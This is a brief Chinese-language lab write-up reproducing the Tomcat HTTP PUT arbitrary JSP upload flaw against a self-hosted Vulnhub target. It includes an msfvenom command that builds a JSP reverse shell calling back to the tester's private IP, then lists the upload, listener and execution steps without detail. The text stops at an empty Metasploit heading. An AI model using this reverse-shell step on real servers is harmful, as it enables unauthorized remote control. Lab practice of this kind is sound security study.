郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
当 Tomcat启用了 HTTP PUT 请求方法(例如,将 readonly初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP文件中的代码将能被服务器执行。
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:
2. 验证靶机应用启用成功:
漏洞复现
POC:
方法一:手工利用
1. 准备并生成一个JSP反弹Shell文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.79.129" LPORT=4444 -f raw
2. 将文件内容通put操作上传
3. 使用NC侦听反弹端口
4. 执行上传的JSP shell文件
5. 得到反弹Shell
方法二:MSF